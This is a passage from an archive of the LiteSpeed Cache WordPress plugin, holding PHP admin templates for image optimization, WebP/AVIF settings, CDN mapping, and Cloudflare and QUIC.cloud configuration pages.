					<?php esc_html_e( 'You can quickly switch between using original (unoptimized versions) and optimized image files. It will affect all images on your website, both regular and webp versions if available.', 'litespeed-cache' ); ?>
				</p>

				<div class="litespeed-links-group">
					<span>
						<a href="<?php echo esc_url( Utility::build_url( Router::ACTION_IMG_OPTM, Img_Optm::TYPE_BATCH_SWITCH_ORI ) ); ?>" class="litespeed-link-with-icon" data-balloon-pos="up" aria-label="<?php esc_html_e( 'Use original images (unoptimized) on your site', 'litespeed-cache' ); ?>">
							<span class="dashicons dashicons-undo"></span><?php esc_html_e( 'Use Original Files', 'litespeed-cache' ); ?>
						</a>
					</span><span>
						<a href="<?php echo esc_url( Utility::build_url( Router::ACTION_IMG_OPTM, Img_Optm::TYPE_BATCH_SWITCH_OPTM ) ); ?>" class="litespeed-link-with-icon litespeed-icon-right" data-balloon-pos="up" aria-label="<?php esc_html_e( 'Switch back to using optimized images on your site', 'litespeed-cache' ); ?>">
							<?php esc_html_e( 'Use Optimized Files', 'litespeed-cache' ); ?><span class="dashicons dashicons-redo"></span>
						</a>
					</span>
				</div>
			</div>
			<div class="inside litespeed-postbox-footer litespeed-postbox-footer--compact">
				<p>
					<a href="<?php echo esc_url( Utility::build_url( Router::ACTION_IMG_OPTM, Img_Optm::TYPE_RESET_COUNTER ) ); ?>" class="litespeed-link-with-icon litespeed-warning">
						<span class="dashicons dashicons-dismiss"></span><?php esc_html_e( 'Soft Reset Optimization Counter', 'litespeed-cache' ); ?>
					</a>
				</p>
				<div class="litespeed-desc">
					<?php printf( esc_html__( 'This will reset the %1$s. If you changed WebP/AVIF settings and want to generate %2$s for the previously optimized images, use this action.', 'litespeed-cache' ), '<code>' . esc_html__( 'Current image post id position', 'litespeed-cache' ) . '</code>', 'WebP/AVIF' ); ?>
				</div>
			</div>
			<div class="inside litespeed-postbox-footer litespeed-postbox-footer--compact">
				<p>
					<a href="<?php echo esc_url( Utility::build_url( Router::ACTION_IMG_OPTM, Img_Optm::TYPE_DESTROY ) ); ?>" class="litespeed-link-with-icon litespeed-danger" data-litespeed-cfm="<?php esc_html_e( 'Are you sure to destroy all optimized images?', 'litespeed-cache' ); ?>" id="litespeed-imageopt-destroy">
						<span class="dashicons dashicons-dismiss"></span><?php esc_html_e( 'Destroy All Optimization Data', 'litespeed-cache' ); ?>
					</a>
				</p>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Remove all previous image optimization requests/results, revert completed optimizations, and delete all optimization files.', 'litespeed-cache' ); ?>
				</div>
			</div>
		</div>
	</div>
</div>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/img_optm/network_settings.tpl.php000064400000001313151031165260023617 0ustar00<?php
/**
 * LiteSpeed Cache Image Optimization Network Settings
 *
 * Manages network-wide image optimization settings for LiteSpeed Cache.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

$this->form_action( Router::ACTION_SAVE_SETTINGS_NETWORK );
?>

<h3 class="litespeed-title-short">
	<?php esc_html_e( 'Image Optimization Settings', 'litespeed-cache' ); ?>
	<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/imageopt/#image-optimization-settings-tab' ); ?>
</h3>

<table class="wp-list-table striped litespeed-table"><tbody>
	<?php require LSCWP_DIR . 'tpl/img_optm/settings.media_webp.tpl.php'; ?>

</tbody></table>

<?php
$this->form_end();litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/img_optm/settings.media_webp.tpl.php000064400000003040151031165260024140 0ustar00<?php
/**
 * LiteSpeed Cache Image Optimization WebP/AVIF Setting
 *
 * Manages the WebP and AVIF optimization settings for LiteSpeed Cache.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;
?>

<tr>
	<th>
		<?php $option_id = Base::O_IMG_OPTM_WEBP; ?>
		<?php $this->title( $option_id ); ?>
	</th>
	<td>
		<?php $this->build_switch( $option_id, array( esc_html__( 'OFF', 'litespeed-cache' ), 'WebP', 'AVIF' ) ); ?>
		<?php Doc::maybe_on_by_gm( $option_id ); ?>
		<div class="litespeed-desc">
			<?php esc_html_e( 'Request WebP/AVIF versions of original images when doing optimization.', 'litespeed-cache' ); ?>
			<?php printf( esc_html__( 'Significantly improve load time by replacing images with their optimized %s versions.', 'litespeed-cache' ), '.webp/.avif' ); ?>
			<br /><?php Doc::notice_htaccess(); ?>
			<br /><?php Doc::crawler_affected(); ?>
			<br />
			<font class="litespeed-warning">
				⚠️ <?php printf( esc_html__( '%1$s is a %2$s paid feature.', 'litespeed-cache' ), 'AVIF', 'QUIC.cloud' ); ?></font>
			<br />
			<font class="litespeed-warning">
				⚠️ <?php printf( esc_html__( 'When switching formats, please %1$s or %2$s to apply this new choice to previously optimized images.', 'litespeed-cache' ), esc_html__( 'Destroy All Optimization Data', 'litespeed-cache' ), esc_html__( 'Soft Reset Optimization Counter', 'litespeed-cache' ) ); ?></font>
			<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/imageopt/#soft-reset-optimization-counter' ); ?>
		</div>
	</td>
</tr>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/cdn/entry.tpl.php000064400000001740151031165260020304 0ustar00<?php
/**
 * LiteSpeed Cache CDN Settings
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

$menu_list = array(
	'qc'    => esc_html__( 'QUIC.cloud', 'litespeed-cache' ),
	'cf'    => esc_html__( 'Cloudflare', 'litespeed-cache' ),
	'other' => esc_html__( 'Other Static CDN', 'litespeed-cache' ),
);
?>

<div class="wrap">
	<h1 class="litespeed-h1">
		<?php esc_html_e( 'LiteSpeed Cache CDN', 'litespeed-cache' ); ?>
	</h1>
	<span class="litespeed-desc">
		<?php echo esc_html( 'v' . Core::VER ); ?>
	</span>
	<hr class="wp-header-end">
</div>

<div class="litespeed-wrap">
	<h2 class="litespeed-header nav-tab-wrapper">
		<?php GUI::display_tab_list( $menu_list ); ?>
	</h2>

	<div class="litespeed-body">
		<?php
		foreach ( $menu_list as $menu_key => $menu_value ) {
			printf(
				'<div data-litespeed-layout="%s">',
				esc_attr( $menu_key )
			);
			require LSCWP_DIR . "tpl/cdn/$menu_key.tpl.php";
			echo '</div>';
		}
		?>
	</div>
</div>
litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/cdn/cf.tpl.php000064400000015025151031165260017534 0ustar00<?php
/**
 * LiteSpeed Cache Cloudflare Settings
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

$this->form_action();
?>

<h3 class="litespeed-title-short">
	<?php esc_html_e( 'Cloudflare Settings', 'litespeed-cache' ); ?>
	<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/cdn/' ); ?>
</h3>

<table class="wp-list-table striped litespeed-table">
	<tbody>
		<tr>
			<th>
				<?php $option_id = Base::O_CDN_CLOUDFLARE; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<div class="litespeed-desc">
					<?php printf( esc_html__( 'Use %s API functionality.', 'litespeed-cache' ), 'Cloudflare' ); ?>
				</div>
				<div class="litespeed-block">
					<div class='litespeed-col'>
						<label class="litespeed-form-label"><?php esc_html_e( 'Global API Key / API Token', 'litespeed-cache' ); ?></label>
						<?php $this->build_input( Base::O_CDN_CLOUDFLARE_KEY ); ?>
						<div class="litespeed-desc">
							<?php printf( esc_html__( 'Your API key / token is used to access %s APIs.', 'litespeed-cache' ), 'Cloudflare' ); ?>
							<?php printf( esc_html__( 'Get it from %s.', 'litespeed-cache' ), '<a href="https://dash.cloudflare.com/profile/api-tokens" target="_blank" rel="noopener">Cloudflare</a>' ); ?>
							<?php esc_html_e( 'Recommended to generate the token from Cloudflare API token template "WordPress".', 'litespeed-cache' ); ?>
						</div>
					</div>
					<div class='litespeed-col'>
						<label class="litespeed-form-label"><?php esc_html_e( 'Email Address', 'litespeed-cache' ); ?></label>
						<?php $this->build_input( Base::O_CDN_CLOUDFLARE_EMAIL ); ?>
						<div class="litespeed-desc">
							<?php printf( esc_html__( 'Your Email address on %s.', 'litespeed-cache' ), 'Cloudflare' ); ?>
							<?php esc_html_e( 'Optional when API token used.', 'litespeed-cache' ); ?>
						</div>
					</div>
					<div class='litespeed-col'>
						<label class="litespeed-form-label"><?php esc_html_e( 'Domain', 'litespeed-cache' ); ?></label>
						<?php
						$cf_zone = $this->conf( Base::O_CDN_CLOUDFLARE_ZONE );
						$cls     = $cf_zone ? ' litespeed-input-success' : ' litespeed-input-warning';
						$this->build_input( Base::O_CDN_CLOUDFLARE_NAME, $cls );
						?>
						<div class="litespeed-desc">
							<?php esc_html_e( 'You can just type part of the domain.', 'litespeed-cache' ); ?>
							<?php esc_html_e( 'Once saved, it will be matched with the current list and completed automatically.', 'litespeed-cache' ); ?>
						</div>
					</div>
				</div>
			</td>
		</tr>
		<tr>
			<th>
				<?php $option_id = Base::O_CDN_CLOUDFLARE_CLEAR; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<div class="litespeed-desc">
					<?php printf( esc_html__( 'Clear %s cache when "Purge All" is run.', 'litespeed-cache' ), 'Cloudflare' ); ?>
				</div>
			</td>
		</tr>
	</tbody>
</table>

<?php
$this->form_end();
$cf_on     = $this->conf( Base::O_CDN_CLOUDFLARE );
$cf_domain = $this->conf( Base::O_CDN_CLOUDFLARE_NAME );
$cf_zone   = $this->conf( Base::O_CDN_CLOUDFLARE_ZONE );
if ( ! $cf_domain ) {
	$cf_domain = '-';
}
if ( ! $cf_zone ) {
	$cf_zone = '-';
}

$curr_status = CDN\Cloudflare::get_option( CDN\Cloudflare::ITEM_STATUS, array() );
?>

<h3 class="litespeed-title"><?php esc_html_e( 'Cloudflare', 'litespeed-cache' ); ?></h3>

<?php if ( ! $cf_on ) : ?>
	<div class="litespeed-callout notice notice-error inline">
		<h4><?php esc_html_e( 'WARNING', 'litespeed-cache' ); ?></h4>
		<p>
			<?php esc_html_e( 'To enable the following functionality, turn ON Cloudflare API in CDN Settings.', 'litespeed-cache' ); ?>
		</p>
	</div>
<?php endif; ?>

<p><?php esc_html_e( 'Cloudflare Domain', 'litespeed-cache' ); ?>: <code><?php echo esc_textarea( $cf_domain ); ?></code></p>
<p><?php esc_html_e( 'Cloudflare Zone', 'litespeed-cache' ); ?>: <code><?php echo esc_textarea( $cf_zone ); ?></code></p>

<p>
	<b><?php esc_html_e( 'Development Mode', 'litespeed-cache' ); ?>:</b>
	<a href="<?php echo esc_url( Utility::build_url( Router::ACTION_CDN_CLOUDFLARE, CDN\Cloudflare::TYPE_SET_DEVMODE_ON ) ); ?>" class="button litespeed-btn-warning">
		<?php esc_html_e( 'Turn ON', 'litespeed-cache' ); ?>
	</a>
	<a href="<?php echo esc_url( Utility::build_url( Router::ACTION_CDN_CLOUDFLARE, CDN\Cloudflare::TYPE_SET_DEVMODE_OFF ) ); ?>" class="button litespeed-btn-warning">
		<?php esc_html_e( 'Turn OFF', 'litespeed-cache' ); ?>
	</a>
	<a href="<?php echo esc_url( Utility::build_url( Router::ACTION_CDN_CLOUDFLARE, CDN\Cloudflare::TYPE_GET_DEVMODE ) ); ?>" class="button litespeed-btn-success">
		<?php esc_html_e( 'Check Status', 'litespeed-cache' ); ?>
	</a>

	<?php if ( $curr_status ) : ?>
		<span class="litespeed-desc">
			<?php
			if ( time() >= $curr_status['devmode_expired'] ) {
				$expired_at             = gmdate( 'm/d/Y H:i:s', $curr_status['devmode_expired'] + LITESPEED_TIME_OFFSET );
				$curr_status['devmode'] = 'OFF';
				printf(
					esc_html__( 'Current status is %1$s since %2$s.', 'litespeed-cache' ),
					'<code>' . esc_html( strtoupper( $curr_status['devmode'] ) ) . '</code>',
					'<code>' . esc_html( $expired_at ) . '</code>'
				);
			} else {
				$expired_at = $curr_status['devmode_expired'] - time();
				$expired_at = Utility::readable_time( $expired_at, 3600 * 3, true );
				printf(
					esc_html__( 'Current status is %s.', 'litespeed-cache' ),
					'<code>' . esc_html( strtoupper( $curr_status['devmode'] ) ) . '</code>'
				);
				printf(
					esc_html__( 'Development mode will be automatically turned off in %s.', 'litespeed-cache' ),
					'<code>' . esc_html( $expired_at ) . '</code>'
				);
			}
			?>
		</span>
	<?php endif; ?>
	<br>
	<?php esc_html_e( 'Temporarily bypass Cloudflare cache. This allows changes to the origin server to be seen in realtime.', 'litespeed-cache' ); ?>
	<br>
	<?php esc_html_e( 'Development Mode will be turned off automatically after three hours.', 'litespeed-cache' ); ?>
	<?php printf( esc_html__( '%1$sLearn More%2$s', 'litespeed-cache' ), '<a href="https://support.cloudflare.com/hc/en-us/articles/200168246" target="_blank" rel="noopener">', '</a>' ); ?>
</p>

<p>
	<b><?php esc_html_e( 'Cloudflare Cache', 'litespeed-cache' ); ?>:</b>
	<?php if ( ! $cf_on ) : ?>
		<a href="#" class="button button-secondary disabled">
	<?php else : ?>
		<a href="<?php echo esc_url( Utility::build_url( Router::ACTION_CDN_CLOUDFLARE, CDN\Cloudflare::TYPE_PURGE_ALL ) ); ?>" class="button litespeed-btn-danger">
	<?php endif; ?>
		<?php esc_html_e( 'Purge Everything', 'litespeed-cache' ); ?>
	</a>
</p>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/cdn/other.tpl.php000064400000016047151031165260020272 0ustar00<?php
/**
 * LiteSpeed Cache CDN Settings
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

$home_url = home_url( '/' );
$parsed   = wp_parse_url( $home_url );
$home_url = str_replace( $parsed['scheme'] . ':', '', $home_url );

$cdn_mapping = $this->conf( Base::O_CDN_MAPPING );
// Special handler: Append one row if somehow the DB default preset value got deleted
if ( ! $cdn_mapping ) {
	$this->load_default_vals();
	$cdn_mapping = self::$_default_options[ Base::O_CDN_MAPPING ];
}

$this->form_action();
?>

<h3 class="litespeed-title-short">
	<?php esc_html_e( 'CDN Settings', 'litespeed-cache' ); ?>
	<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/cdn/' ); ?>
</h3>

<table class="wp-list-table striped litespeed-table">
	<tbody>
		<tr>
			<th>
				<?php $option_id = Base::O_CDN; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<div class="litespeed-desc">
					<?php
					printf(
						esc_html__( 'Turn this setting %s if you are using a traditional Content Delivery Network (CDN) or a subdomain for static content with QUIC.cloud CDN.', 'litespeed-cache' ),
						'<code>' . esc_html__( 'ON', 'litespeed-cache' ) . '</code>'
					);
					?>
					<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/cdn/#use-cdn-mapping' ); ?>
					<br>
					<?php
					printf(
						esc_html__( 'NOTE: QUIC.cloud CDN and Cloudflare do not use CDN Mapping. If you are only using QUIC.cloud or Cloudflare, leave this setting %s.', 'litespeed-cache' ),
						'<code>' . esc_html__( 'OFF', 'litespeed-cache' ) . '</code>'
					);
					?>
				</div>
			</td>
		</tr>

		<tr>
			<th class="litespeed-padding-left"></th>
			<td>
				<?php $this->enroll( Base::O_CDN_MAPPING . '[' . Base::CDN_MAPPING_URL . '][]' ); ?>
				<?php $this->enroll( Base::O_CDN_MAPPING . '[' . Base::CDN_MAPPING_INC_IMG . '][]' ); ?>
				<?php $this->enroll( Base::O_CDN_MAPPING . '[' . Base::CDN_MAPPING_INC_CSS . '][]' ); ?>
				<?php $this->enroll( Base::O_CDN_MAPPING . '[' . Base::CDN_MAPPING_INC_JS . '][]' ); ?>
				<?php $this->enroll( Base::O_CDN_MAPPING . '[' . Base::CDN_MAPPING_FILETYPE . '][]' ); ?>

				<div id="litespeed_cdn_mapping_div"></div>

				<script type="text/babel">
					ReactDOM.render(
						<CDNMapping list={ <?php echo wp_json_encode( $cdn_mapping ); ?> } />,
						document.getElementById( 'litespeed_cdn_mapping_div' )
					);
				</script>

				<div class="litespeed-warning">
					<?php esc_html_e( 'NOTE', 'litespeed-cache' ); ?>:
					<?php esc_html_e( 'To randomize CDN hostname, define multiple hostnames for the same resources.', 'litespeed-cache' ); ?>
				</div>

				<div class="litespeed-desc">
					<b><?php $this->title( Base::CDN_MAPPING_INC_IMG ); ?></b>:
					<?php
					printf(
						esc_html__( 'Serve all image files through the CDN. This will affect all attachments, HTML %1$s tags, and CSS %2$s attributes.', 'litespeed-cache' ),
						'<code>&lt;img</code>',
						'<code>url()</code>'
					);
					?>
					<br>
					<b><?php $this->title( Base::CDN_MAPPING_INC_CSS ); ?></b>:
					<?php esc_html_e( 'Serve all CSS files through the CDN. This will affect all enqueued WP CSS files.', 'litespeed-cache' ); ?>
					<br>
					<b><?php $this->title( Base::CDN_MAPPING_INC_JS ); ?></b>:
					<?php esc_html_e( 'Serve all JavaScript files through the CDN. This will affect all enqueued WP JavaScript files.', 'litespeed-cache' ); ?>
					<br>
					<b><?php $this->title( Base::CDN_MAPPING_FILETYPE ); ?></b>:
					<?php esc_html_e( 'Static file type links to be replaced by CDN links.', 'litespeed-cache' ); ?>
					<?php Doc::one_per_line(); ?>
					<?php
					printf(
						esc_html__( 'This will affect all tags containing attributes: %s.', 'litespeed-cache' ),
						'<code>src=""</code> <code>data-src=""</code> <code>href=""</code>'
					);
					?>
					<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/cdn/#include-file-types', esc_html__( 'Default value', 'litespeed-cache' ) ); ?>
					<br>
					<?php
					printf(
						esc_html__( 'If you turn any of the above settings OFF, please remove the related file types from the %s box.', 'litespeed-cache' ),
						'<b>' . esc_html__( 'Include File Types', 'litespeed-cache' ) . '</b>'
					);
					?>
					<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/cdn/#include-file-types' ); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_CDN_ATTR; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<div class="litespeed-textarea-recommended">
					<div>
						<?php $this->build_textarea( $option_id, 40 ); ?>
					</div>
					<div>
						<?php $this->recommended( $option_id ); ?>
					</div>
				</div>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Specify which HTML element attributes will be replaced with CDN Mapping.', 'litespeed-cache' ); ?>
					<?php esc_html_e( 'Only attributes listed here will be replaced.', 'litespeed-cache' ); ?>
					<br>
					<?php
					printf(
						esc_html__( 'Use the format %1$s or %2$s (element is optional).', 'litespeed-cache' ),
						'<code>element.attribute</code>',
						'<code>.attribute</code>'
					);
					?>
					<?php Doc::one_per_line(); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th class="litespeed-padding-left">
				<?php $option_id = Base::O_CDN_ORI; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_textarea( $option_id ); ?>
				<div class="litespeed-desc">
					<?php
					printf(
						esc_html__( 'Site URL to be served through the CDN. Beginning with %1$s. For example, %2$s.', 'litespeed-cache' ),
						'<code>//</code>',
						'<code>' . esc_html( $home_url ) . '</code>'
					);
					?>
					<br>
					<?php
					printf(
						esc_html__( 'Wildcard %1$s supported (match zero or more characters). For example, to match %2$s and %3$s, use %4$s.', 'litespeed-cache' ),
						'<code>*</code>',
						'<code>//www.aa.com</code>',
						'<code>//aa.com</code>',
						'<code>//*aa.com</code>'
					);
					?>
					<?php Doc::one_per_line(); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th class="litespeed-padding-left">
				<?php $option_id = Base::O_CDN_ORI_DIR; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<div class="litespeed-textarea-recommended">
					<div>
						<?php $this->build_textarea( $option_id, 40 ); ?>
					</div>
					<div>
						<?php $this->recommended( $option_id ); ?>
					</div>
				</div>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Only files within these directories will be pointed to the CDN.', 'litespeed-cache' ); ?>
					<?php Doc::one_per_line(); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th class="litespeed-padding-left">
				<?php $option_id = Base::O_CDN_EXC; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_textarea( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Paths containing these strings will not be served from the CDN.', 'litespeed-cache' ); ?>
					<?php Doc::one_per_line(); ?>
				</div>
			</td>
		</tr>
	</tbody>
</table>

<?php $this->form_end(); ?>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/cdn/qc.tpl.php000064400000021273151031165260017551 0ustar00<?php
/**
 * LiteSpeed Cache QUIC.cloud CDN Settings
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

$__cloud = Cloud::cls();
$__cloud->finish_qc_activation( 'cdn' );
$cloud_summary = Cloud::get_summary();
?>

<div class="litespeed-flex-container litespeed-column-with-boxes">
	<div class="litespeed-width-7-10 litespeed-column-left litespeed-cdn-summary-wrapper">
		<div class="litespeed-column-left-inside">
			<h3>
				<?php if ( $__cloud->activated() ) : ?>
					<a class="button button-small litespeed-right litespeed-learn-more" href="<?php echo esc_url( Utility::build_url( Router::ACTION_CLOUD, Cloud::TYPE_SYNC_STATUS ) ); ?>">
						<span class="dashicons dashicons-update"></span> <?php esc_html_e( 'Refresh Status', 'litespeed-cache' ); ?>
					</a>
				<?php endif; ?>
				<span class="litespeed-quic-icon"></span> <?php esc_html_e( 'QUIC.cloud CDN Status Overview', 'litespeed-cache' ); ?>
			</h3>
			<p class="litespeed-desc"><?php esc_html_e( 'Check the status of your most important settings and the health of your CDN setup here.', 'litespeed-cache' ); ?></p>

			<?php if ( ! $__cloud->activated() ) : ?>
				<div class="litespeed-dashboard-unlock litespeed-dashboard-unlock--inline">
					<div>
						<h3 class="litespeed-dashboard-unlock-title"><strong class="litespeed-qc-text-gradient"><?php esc_html_e( 'Accelerate, Optimize, Protect', 'litespeed-cache' ); ?></strong></h3>
						<p class="litespeed-dashboard-unlock-desc">
							<?php echo wp_kses_post( __( 'Speed up your WordPress site even further with <strong>QUIC.cloud Online Services and CDN</strong>.', 'litespeed-cache' ) ); ?>
						</p>
						<p><?php esc_html_e( 'Free monthly quota available.', 'litespeed-cache' ); ?></p>
						<p>
							<a class="button button-primary" href="<?php echo esc_url( Utility::build_url( Router::ACTION_CLOUD, Cloud::TYPE_ACTIVATE, false, null, array( 'ref' => 'cdn' ) ) ); ?>">
								<span class="dashicons dashicons-yes"></span><?php esc_html_e( 'Enable QUIC.cloud services', 'litespeed-cache' ); ?>
							</a>
						</p>
						<p class="litespeed-dashboard-unlock-footer">
							<?php esc_html_e( 'QUIC.cloud provides CDN and online optimization services, and is not required. You may use many features of this plugin without QUIC.cloud.', 'litespeed-cache' ); ?><br>
							<a href="https://www.quic.cloud/" target="_blank" rel="noopener"><?php esc_html_e( 'Learn More about QUIC.cloud', 'litespeed-cache' ); ?></a>
						</p>
					</div>
				</div>
			<?php elseif ( empty( $cloud_summary['qc_activated'] ) || 'cdn' !== $cloud_summary['qc_activated'] ) : ?>
				<div class="litespeed-top20">
					<?php if ( ! empty( $cloud_summary['qc_activated'] ) && 'linked' === $cloud_summary['qc_activated'] ) : ?>
						<p><?php echo wp_kses_post( __( 'QUIC.cloud CDN is currently <strong>fully disabled</strong>.', 'litespeed-cache' ) ); ?></p>
					<?php else : ?>
						<p><?php echo wp_kses_post( __( 'QUIC.cloud CDN is <strong>not available</strong> for anonymous (unlinked) users.', 'litespeed-cache' ) ); ?></p>
					<?php endif; ?>
					<p>
						<?php
						$btn_title = esc_html__( 'Link & Enable QUIC.cloud CDN', 'litespeed-cache' );
						if ( ! empty( $cloud_summary['qc_activated'] ) && 'linked' === $cloud_summary['qc_activated'] ) {
							$btn_title = esc_html__( 'Enable QUIC.cloud CDN', 'litespeed-cache' );
						}
						Doc::learn_more(
							esc_url( Utility::build_url( Router::ACTION_CLOUD, Cloud::TYPE_ENABLE_CDN, false, null, array( 'ref' => 'cdn' ) ) ),
							'<span class="dashicons dashicons-yes"></span>' . $btn_title,
							true,
							'button button-primary litespeed-button-cta'
						);
						?>
					</p>
					<h3 class="litespeed-title-section"><?php esc_html_e( 'Content Delivery Network Service', 'litespeed-cache' ); ?></h3>
					<p class="litespeed-text-md">
						<?php esc_html_e( 'Serve your visitors fast', 'litespeed-cache' ); ?> <strong class="litespeed-qc-text-gradient"><?php esc_html_e( 'no matter where they live.', 'litespeed-cache' ); ?></strong>
					</p>
					<p>
						<?php
						printf(
							/* translators: %s: Link tags */
							esc_html__( 'Best available WordPress performance, globally fast TTFB, easy setup, and %smore%s!', 'litespeed-cache' ),
							'<a href="https://www.quic.cloud/quic-cloud-services-and-features/litespeed-cache-service/" target="_blank" rel="noopener">',
							'</a>'
						);
						?>
					</p>
				</div>
			<?php else : ?>
				<?php echo wp_kses_post( $__cloud->load_qc_status_for_dash( 'cdn_dash' ) ); ?>
			<?php endif; ?>
		</div>
	</div>

	<div class="litespeed-width-3-10 litespeed-column-right">
		<div class="postbox litespeed-postbox">
			<div class="inside">
				<h3 class="litespeed-title">
					<?php esc_html_e( 'QUIC.cloud CDN Options', 'litespeed-cache' ); ?>
				</h3>
				<?php if ( ! empty( $cloud_summary['partner'] ) && ! empty( $cloud_summary['partner']['disable_qc_login'] ) ) : ?>
					<?php if ( ! empty( $cloud_summary['partner']['logo'] ) ) : ?>
						<?php if ( ! empty( $cloud_summary['partner']['url'] ) ) : ?>
							<a href="<?php echo esc_url( $cloud_summary['partner']['url'] ); ?>" target="_blank" rel="noopener">
								<img src="<?php echo esc_url( $cloud_summary['partner']['logo'] ); ?>" alt="<?php echo esc_attr( $cloud_summary['partner']['name'] ); ?>">
							</a>
						<?php else : ?>
							<img src="<?php echo esc_url( $cloud_summary['partner']['logo'] ); ?>" alt="<?php echo esc_attr( $cloud_summary['partner']['name'] ); ?>">
						<?php endif; ?>
					<?php elseif ( ! empty( $cloud_summary['partner']['name'] ) ) : ?>
						<?php if ( ! empty( $cloud_summary['partner']['url'] ) ) : ?>
							<a href="<?php echo esc_url( $cloud_summary['partner']['url'] ); ?>" target="_blank" rel="noopener">
								<span class="postbox-partner-name"><?php echo esc_html( $cloud_summary['partner']['name'] ); ?></span>
							</a>
						<?php else : ?>
							<span class="postbox-partner-name"><?php echo esc_html( $cloud_summary['partner']['name'] ); ?></span>
						<?php endif; ?>
					<?php endif; ?>
					<?php if ( ! $__cloud->activated() ) : ?>
						<p><?php esc_html_e( 'To manage your QUIC.cloud options, go to your hosting provider\'s portal.', 'litespeed-cache' ); ?></p>
					<?php else : ?>
						<p><?php esc_html_e( 'To manage your QUIC.cloud options, please contact your hosting provider.', 'litespeed-cache' ); ?></p>
					<?php endif; ?>
				<?php else : ?>
					<?php if ( ! $__cloud->activated() ) : ?>
						<p><?php esc_html_e( 'To manage your QUIC.cloud options, go to QUIC.cloud Dashboard.', 'litespeed-cache' ); ?></p>
						<p class="litespeed-top20">
							<button type="button" class="button button-primary disabled">
								<?php esc_html_e( 'Link to QUIC.cloud', 'litespeed-cache' ); ?>
							</button>
						</p>
					<?php elseif ( 'anonymous' === $cloud_summary['qc_activated'] ) : ?>
						<p><?php esc_html_e( 'You are currently using services as an anonymous user. To manage your QUIC.cloud options, use the button below to create an account and link to the QUIC.cloud Dashboard.', 'litespeed-cache' ); ?></p>
						<p class="litespeed-top20">
							<a href="<?php echo esc_url( Utility::build_url( Router::ACTION_CLOUD, Cloud::TYPE_LINK, false, null, array( 'ref' => 'cdn' ) ) ); ?>" class="button button-<?php echo ( empty( $cloud_summary['qc_activated'] ) || 'cdn' !== $cloud_summary['qc_activated'] ) ? 'secondary' : 'primary'; ?>">
								<?php esc_html_e( 'Link to QUIC.cloud', 'litespeed-cache' ); ?>
							</a>
						</p>
					<?php elseif ( 'linked' === $cloud_summary['qc_activated'] ) : ?>
						<p class="litespeed-top20">
							<a href="<?php echo esc_url( $__cloud->qc_link() ); ?>" target="qc" rel="noopener" class="button button-<?php echo ( empty( $cloud_summary['qc_activated'] ) || 'cdn' !== $cloud_summary['qc_activated'] ) ? 'secondary' : 'primary'; ?>">
								<?php esc_html_e( 'My QUIC.cloud Dashboard', 'litespeed-cache' ); ?> <span class="dashicons dashicons-external"></span>
							</a>
						</p>
					<?php else : ?>
						<p><?php esc_html_e( 'To manage your QUIC.cloud options, go to QUIC.cloud Dashboard.', 'litespeed-cache' ); ?></p>
						<p class="litespeed-top20">
							<a href="<?php echo esc_url( $__cloud->qc_link() ); ?>" target="qc" rel="noopener" class="button button-<?php echo ( empty( $cloud_summary['qc_activated'] ) || 'cdn' !== $cloud_summary['qc_activated'] ) ? 'secondary' : 'primary'; ?>">
								<?php esc_html_e( 'My QUIC.cloud Dashboard', 'litespeed-cache' ); ?> <span class="dashicons dashicons-external"></span>
							</a>
						</p>
					<?php endif; ?>
				<?php endif; ?>
			</div>
		</div>

		<?php $promo_mini = $__cloud->load_qc_status_for_dash( 'promo_mini' ); ?>
		<?php if ( $promo_mini ) : ?>
			<?php echo wp_kses_post( $promo_mini ); ?>
		<?php endif; ?>
	</div>
</div>
litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/esi.tpl.php000064400000000321151031165260017151 0ustar00<?php
/**
 * LiteSpeed Cache ESI Block Loader
 *
 * Loads the ESI block for LiteSpeed Cache.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

defined( 'WPINC' ) || exit;

\LiteSpeed\ESI::cls()->load_esi_block();
litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/banner/cloud_news.tpl.php000064400000004202151031165260022002 0ustar00<?php
/**
